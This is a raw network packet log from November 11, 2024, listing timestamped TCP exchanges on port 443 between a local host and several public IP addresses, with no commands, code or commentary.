Nov 11, 2024 12:40:13.520241976 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.520257950 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.520338058 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.520361900 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.520404100 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.520605087 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.520654917 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.520661116 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.520683050 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.520714045 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.520725012 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.521378994 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.521393061 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.521401882 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.521406889 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.616532087 CET	49727	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:13.616554976 CET	443	49727	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:13.616619110 CET	49727	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:13.617260933 CET	49727	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:13.617266893 CET	443	49727	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:13.618115902 CET	49728	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.618135929 CET	443	49728	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.618210077 CET	49728	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.618788958 CET	49729	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.618835926 CET	443	49729	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.618894100 CET	49729	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.619343996 CET	49730	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.619362116 CET	443	49730	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.619412899 CET	49730	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.619471073 CET	49731	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.619481087 CET	443	49731	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.619491100 CET	49728	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.619497061 CET	443	49728	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.619525909 CET	49731	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.619628906 CET	49731	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.619647026 CET	443	49731	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.619709969 CET	49730	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.619719982 CET	443	49730	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.619824886 CET	49729	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.619842052 CET	443	49729	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.619983912 CET	49732	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.620003939 CET	443	49732	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.620054007 CET	49732	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.620131016 CET	49732	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.620136023 CET	443	49732	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.621059895 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:13.621073961 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:13.621130943 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:13.621301889 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:13.621311903 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.137948036 CET	443	49732	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.138029099 CET	443	49729	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.138041019 CET	443	49731	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.138140917 CET	443	49728	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.138309002 CET	443	49730	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.138638973 CET	49732	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.138660908 CET	443	49732	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.138828993 CET	49731	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.138851881 CET	443	49731	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.139130116 CET	49732	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.139134884 CET	443	49732	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.139426947 CET	49729	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.139446020 CET	443	49729	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.139456034 CET	49731	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.139461040 CET	443	49731	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.139712095 CET	49730	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.139725924 CET	443	49730	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.140094995 CET	49729	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.140099049 CET	443	49729	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.140132904 CET	49730	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.140137911 CET	443	49730	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.140458107 CET	49728	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.140465975 CET	443	49728	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.140919924 CET	49728	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.140923977 CET	443	49728	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.149667978 CET	49734	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:14.149736881 CET	443	49734	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:14.149811029 CET	49734	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:14.150294065 CET	49734	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:14.150307894 CET	443	49734	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:14.214173079 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.214373112 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.214385986 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.215507030 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.215569019 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.216680050 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.216743946 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.216825962 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.216833115 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.230360985 CET	443	49728	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.230683088 CET	443	49729	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.230704069 CET	443	49729	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.230746984 CET	49729	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.230753899 CET	443	49731	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.230767012 CET	443	49729	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.230784893 CET	443	49731	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.230818987 CET	49729	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.230833054 CET	443	49731	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.230837107 CET	49731	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.230875969 CET	49731	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.231020927 CET	49729	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.231026888 CET	443	49729	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.231041908 CET	49729	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.231091022 CET	49731	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.231106997 CET	443	49731	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.231116056 CET	49731	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.231121063 CET	443	49731	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.231163979 CET	443	49729	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.231190920 CET	443	49729	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.231228113 CET	49729	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.231508017 CET	443	49732	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.231517076 CET	443	49728	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.231528044 CET	443	49732	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.231559038 CET	49728	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.231566906 CET	443	49732	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.231578112 CET	49732	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.231606960 CET	49732	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.231842041 CET	443	49730	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.232001066 CET	443	49730	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.232043982 CET	49730	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.232218027 CET	49728	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.232232094 CET	443	49728	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.232243061 CET	49728	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.232248068 CET	443	49728	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.232588053 CET	49732	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.232606888 CET	443	49732	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.232620001 CET	49732	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.232625008 CET	443	49732	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.232892990 CET	49730	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.232897043 CET	443	49730	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.232912064 CET	49730	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.232914925 CET	443	49730	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.236634970 CET	49735	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.236668110 CET	443	49735	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.236737013 CET	49735	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.236999989 CET	49736	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.237025976 CET	443	49736	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.237076044 CET	49736	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.238116026 CET	49737	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.238157988 CET	443	49737	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.238220930 CET	49737	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.238310099 CET	49735	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.238327980 CET	443	49735	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.238362074 CET	49737	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.238377094 CET	443	49737	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.238584995 CET	49738	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.238594055 CET	443	49738	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.238660097 CET	49738	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.238683939 CET	49736	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.238696098 CET	443	49736	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.238929033 CET	49738	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.238940001 CET	443	49738	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.239594936 CET	49739	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.239604950 CET	443	49739	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.239671946 CET	49739	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.239765882 CET	49739	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.239778042 CET	443	49739	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.256840944 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.356574059 CET	443	49727	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:14.356647015 CET	49727	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:14.358513117 CET	49727	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:14.358520031 CET	443	49727	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:14.358751059 CET	443	49727	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:14.360388041 CET	49727	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:14.360469103 CET	49727	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:14.360474110 CET	443	49727	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:14.360637903 CET	49727	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:14.396861076 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.396909952 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.396941900 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.396961927 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.396977901 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.396996975 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.397013903 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.397032976 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.397063017 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.397085905 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.397087097 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.397094011 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.397125959 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.403335094 CET	443	49727	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:14.443933010 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.443942070 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.478027105 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.478060961 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.478086948 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.478215933 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.478215933 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.478230953 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.478594065 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.478627920 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.478657007 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.478678942 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.478684902 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.478703022 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.483253002 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.483273983 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.483387947 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.483395100 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.483445883 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.488449097 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.494407892 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.494498968 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.494507074 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.500180006 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.500207901 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.500322104 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.500330925 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.500391006 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.505831003 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.520925999 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.520982981 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.520993948 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.522885084 CET	443	49727	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:14.523374081 CET	49727	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:14.523395061 CET	443	49727	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:14.523412943 CET	49727	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:14.523447990 CET	49727	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:14.558820963 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.558916092 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.558917999 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.558928013 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.558953047 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.558974981 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.559112072 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.559112072 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.559118032 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.560251951 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.560278893 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.560311079 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.560316086 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.560369015 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.560532093 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.560574055 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.560672998 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.560683012 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.560733080 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.560801983 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.560806036 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.561435938 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.561461926 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.561497927 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.561505079 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.561568022 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.564673901 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.567859888 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.567889929 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.567909002 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.567914963 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.567965031 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.571540117 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.575887918 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.575915098 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.575941086 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.575947046 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.576005936 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.580075026 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.583837986 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.583867073 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.583889961 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.583894968 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.584152937 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.588016033 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.592276096 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.592331886 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.592344999 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.592350960 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.592394114 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.595932007 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.600040913 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.600117922 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.600122929 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.604043007 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.604101896 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.604113102 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.608190060 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.608242989 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.608249903 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.611511946 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:14.611541033 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:14.611603975 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:14.611799002 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:14.611813068 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:14.640307903 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.640331984 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.640403032 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.640403032 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.640412092 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.640453100 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.640485048 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.640511036 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.640574932 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.640574932 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.640583038 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.640621901 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.640887976 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.641004086 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.641047001 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.641061068 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.641066074 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.641083002 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.641109943 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.641115904 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.641124010 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.641128063 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.641186953 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.641191959 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.641906023 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.641930103 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.641973019 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.641979933 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.642265081 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.642419100 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.642448902 CET	443	49733	142.250.185.206	192.168.2.6
Nov 11, 2024 12:40:14.642525911 CET	49733	443	192.168.2.6	142.250.185.206
Nov 11, 2024 12:40:14.740226030 CET	443	49734	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:14.741501093 CET	49734	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:14.741519928 CET	443	49734	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:14.742379904 CET	443	49734	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:14.742450953 CET	49734	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:14.742783070 CET	49734	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:14.742835045 CET	443	49734	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:14.755772114 CET	443	49735	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.757394075 CET	49735	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.757416010 CET	443	49735	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.757852077 CET	49735	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.757858038 CET	443	49735	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.758044004 CET	443	49736	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.758323908 CET	443	49738	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.758374929 CET	443	49739	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.758634090 CET	49736	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.758644104 CET	443	49736	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.758809090 CET	443	49737	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.759073973 CET	49736	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.759078026 CET	443	49736	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.759279013 CET	49737	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.759304047 CET	443	49737	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.759637117 CET	49737	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.759643078 CET	443	49737	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.759835958 CET	49738	443	192.168.2.6	13.107.246.45
